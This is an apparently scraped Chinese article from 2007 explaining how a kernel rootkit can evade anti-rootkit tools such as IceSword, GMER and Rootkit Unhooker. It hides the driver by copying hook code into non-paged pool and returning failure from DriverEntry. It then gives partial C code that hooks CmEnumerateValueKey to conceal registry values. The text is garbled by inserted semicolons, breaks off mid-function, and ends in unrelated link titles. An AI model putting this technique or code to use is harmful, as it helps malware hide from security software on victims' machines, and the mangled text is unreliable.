MJ0011
th_decoder@126;.;com
2007;-;10;-;24
本文描述了一些方法 , 可以饶过目前主流的现代Anti;-;rootkit工具 , 包括但不限于;:
Icesword;最新版
Gmer最新版
Rootkit;unhooker;最新版
DarkSpy;最新版
AVG;Anti;-;rootkit最新版
等等
目前的anti;-;rootkit工具中 , 对于内核模块主要采用如下几种扫描方式;:
1.;恢复ZwQuerySystemInformation的hook;,;然后利用功能号SystemModuleInformation进行枚举
例如Icesword
2.;遍历PsLoadModuleList;,;Driver;/;Device;/;Section;Object链;,;或者TypeList链等;(;总之是找驱动相关对象;);进行枚举
例如Rootkit;Unhooker;,;Gmer等
3.;内核镜象暴力搜索;,;搜索MZ;,;PE等等标志结合进行判断内存里是否有PE镜象;,;如rootkit;unhooker;,;rutkowska的modgreper等 , 通常只能显示为unknow;image
4.;函数引用;,;各种routine/hook等;,;先HOOK一些常用函数 , 然后当驱动去调用这些函数时 , 记下其地址 , 检测时使用;,;或者是根据各种;routine;(;dispatch;routine;,;IDT;,;Image;Notfiy等;);或各种hook;(;inline;hook;,;iat;/;eat;hook等等;); , 通常只能显示为unknow;image或unknow;xxx;handler等
5.;使用系统ImageLoad;Notfiy;,;使用一个BOOT驱动 , 记录所有模块load的消息;,;检测时进行分析;如AVG;Anti;-;rootkit等
先说饶过;1;,;2;,;3;,;5;的办法
很简单 , 使用诸如ZwSetSystemInformation的函数加载驱动 , 然后在DriverEntry中分配NonPagedPool的内存 , 然后将功能代码;/;函数copy到该内存中 , 然后进行必要的HOOK , 最后返回STATUS_UNSUCCESSFULL;.
这样驱动在PsLoadModuleList、各种对象链里就消失了 , 自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是 , copy到内存中的代码要尽量简单 , 基本不会生成需要重定位的代码了 , 但调用系统函数还是要另想办法
我的某个RK里是这样做的 , 例如A;Function用来hook;系统函数B;,;其中需要调用系统函数C ,
那么分配一块内存 , 大小;=;len;(;A;); ;sizeof;(;ULONG;);*;2
在内存的前两个DWORD放OrgB;,;以及C的地址 , 后面开始放函数代码
函数中使用call; ;5;对自身的位置进行定位 , 找到内存开始的位置 , 然后得到OrgB和C
当然也可以在COPY入内存前自己用绝对地址定位函数;~;不过不如这个方法灵活
相关代码;:
//hook;call;CmEnumerateValueKey
void;InstallCMRegHook;()
{
PVOID;_CmEnumerateKeyValueLoc
_CmEnumerateKeyValueLoc;=;FindCmEnumerateValueKey;();
//找到;call;CmEnumerateValueKey
HookCodeLen;=;(;ULONG;);NopFunc8;-;(;ULONG;);NewCmEnumerateValueKey
//获得NewCmEnumerateValueKey长度
HookCode3;=;ExAllocatePoolWithTag;(;NonPagedPool;,
HookCodeLen; ;4;,
MEM_TAG_HOOKCODE3;);
//分配内存
*(;ULONG;*);HookCode3;=;*(;ULONG;*);_CmEnumerateKeyValueLoc
//原函数地址放入内存
RtlCopyMemory;((;PVOID;);HookCode3; ;sizeof;(;ULONG;);,;(;PVOID;);NewCmEnumerateValueKey;,;HookCodeLen;);
//copy函数代码
DO_SPINLOCK;();
*(;ULONG;*);_CmEnumerateValueKeyLoc;=;HookCode3; ;sizeof;(;ULONG;);
//进行HOOK
EXIT_SPINLOCK;();
return
}
NTSTATUS;NewCmEnumearateValueKey;(;IN;PVOID;KeyControlBlock;,
IN;ULONG;Index;,
IN;KEY_VALUE_INFORMATION_CLASS;KeyValueInformationClass;,
IN;PVOID;KeyValueInformation;,
IN;ULONG;KeyLength;,
IN;PULONG;ResultLength
)
{
//下面找到本函数开始地址 , 并获得保存在内存中的OrgCmEnumerateValueKey的地址
推荐阅读
- 康肃忿然曰尔安敢轻吾射的翻译 康肃忿然曰尔安敢轻吾射的翻译成现代汉语
- 预算会计是什么
- 现代标志有几种
- 现代学徒制是什么意思
- 什么叫现代学徒制班
- 现代学徒制是什么文凭
- opporeno2紧急联系人怎么使用
- 什么是发酵工程
- 现代文化有哪些
- 现代年龄的分段称呼